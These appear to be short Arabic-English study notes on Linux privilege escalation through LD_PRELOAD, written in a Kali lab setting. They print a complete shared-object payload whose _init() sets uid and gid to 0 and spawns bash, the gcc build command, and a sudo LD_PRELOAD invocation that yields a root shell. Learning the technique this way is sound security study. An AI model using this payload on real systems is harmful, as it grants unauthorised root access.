LD_PRELOAD

الفايل دا بيسمحلك انك تضيف كود في مكتبه معينه وبيستدعي كودك قبل كود المكتبه الاساسيه

image.png

This command tells GCC to compile a C source file (malicious.c) into a shared object file (malicious.so). Shared object files (.so) are dynamic libraries used by other programs — they don’t run by themselves.

It’s often used for:

  • Creating custom shared libraries.

  • Building malicious payloads for tricks like LD_PRELOAD.

gcc -fPIC -shared -o malicious.so malicious.c -nostartfiles

# fPIC -> allow this file can be execute on any loction of ram
-nostartfiles: معناه "ما تحطليش ملفات البداية الافتراضية" (زي اللي بتحتوي على main() أو تهيئة البيئة)، وده لأن الملف مش هيتنفذ لوحده، هو مجرد مكتبة هتشتغل من خلال برنامج تاني.
// this a malicious file
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
2025-04-08 20_03_52-Kali Linux - VMware Workstation.png
sudo LD_PRELOAD=/home/user/malicious.so apache2
#and u can use it with any service dosen't need privilege user